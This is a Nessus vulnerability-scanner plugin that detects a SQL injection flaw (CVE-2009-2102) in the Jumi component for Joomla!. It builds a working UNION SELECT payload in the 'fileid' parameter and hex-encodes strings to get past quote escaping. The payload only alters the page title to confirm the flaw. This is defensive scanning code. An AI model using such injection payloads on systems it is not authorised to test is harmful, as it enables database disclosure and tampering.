Jumi Component for Joomla! 'fileid' Parameter SQLi

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(42819);
  script_version("1.18");
  script_set_attribute(attribute:"plugin_modification_date", value:"2024/06/05");

  script_cve_id("CVE-2009-2102");
  script_bugtraq_id(35384);
  script_xref(name:"EDB-ID", value:"8968");

  script_name(english:"Jumi Component for Joomla! 'fileid' Parameter SQLi");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is affected by a
SQL injection vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of the Jumi component for Joomla! running on the remote
host is affected by a SQL injection vulnerability due to improper
sanitization of user-supplied input to the 'fileid' parameter before
using it in a GET request to construct database queries. Regardless of
the PHP 'magic_quotes_gpc' setting, an unauthenticated, remote
attacker can exploit this issue to manipulate database queries,
resulting in disclosure of sensitive information, modification of
data, or other attacks against the underlying database.");
  script_set_attribute(attribute:"see_also", value:"https://code.google.com/archive/p/jumi/issues/35");
  script_set_attribute(attribute:"see_also", value:"https://forum.joomla.org/viewtopic.php?p=1734587");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Jumi version 2.0.5 / 2.0.e / 2.1.beta3 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:U/RC:ND");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:U/RC:X");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_cwe_id(89);

  script_set_attribute(attribute:"vuln_publication_date", value:"2009/06/15");
  script_set_attribute(attribute:"patch_publication_date", value:"2009/06/16");
  script_set_attribute(attribute:"plugin_publication_date", value:"2009/11/16");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:joomla:joomla\!");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_set_attribute(attribute:"enable_cgi_scanning", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2009-2024 Tenable Network Security, Inc.");

  script_dependencies("joomla_detect.nasl");
  script_require_keys("installed_sw/Joomla!", "www/PHP");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");

app = "Joomla!";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:80, php:TRUE);

install = get_single_install(
  app_name : app,
  port     : port
);
dir = install['path'];
install_url =  build_url(port:port, qs:dir);

# Verify component is installed
plugin = "Jumi";

# Check KB first
installed = get_kb_item("www/"+port+"/webapp_ext/"+plugin+" under "+dir);

if (!installed)
{
  checks = make_array();
  regexes = make_list();
  regexes[0] = make_list('(<name>Jumi<|Jumi package)');
  checks["/components/com_jumi/release_notes.txt"] = regexes;
  checks["/administrator/components/com_jumi/plugin/jumi.xml"]=regexes;

  # Ensure plugin is installed
  installed = check_webapp_ext(
    checks : checks,
    dir    : dir,
    port   : port,
    ext    : plugin
  );

}
if (!installed) audit(AUDIT_WEB_APP_EXT_NOT_INST, app, install_url, plugin + " component");

# This function converts a string to a concatenation of hex chars so we
# can pass in strings without worrying about PHP's magic_quotes_gpc.
function hexify(str)
{
  local_var hstr, i, l;

  l = strlen(str);
  if (l == 0) return "";

  hstr = "concat(";
  for (i=0; i<l; i++)
    hstr += hex(ord(str[i])) + ",";
  hstr[strlen(hstr)-1] = ")";

  return hstr;
}

test_script = SCRIPT_NAME - ".nasl";

# Try to exploit the issue to manipulate the page title.
exploit = "-" + rand()%1000 + "' UNION SELECT 2," + hexify(str:test_script) + ",null,null,null,0,0,1 -- '";

url = "/index.php?option=com_jumi&fileid=" + str_replace(find:" ", replace:"%20", string:exploit);

res = http_send_recv3(port:port, method:"GET", item:dir+url, exit_on_fail:TRUE);

# There's a problem if we can influence the page title.
if ('<title>'+ test_script +'</title>' >< res[2])
{
  output = strstr(res[2], '<title>');
  if (empty_or_null(output)) output = res[2];

  security_report_v4(
    port       : port,
    severity   : SECURITY_HOLE,
    generic    : TRUE,
    sqli       : TRUE,  # Sets SQLInjection KB key
    request    : make_list(install_url +url),
    output     : chomp(output)
  );
  exit(0);
}
else audit(AUDIT_WEB_APP_EXT_NOT_AFFECTED, app, install_url, plugin + " component");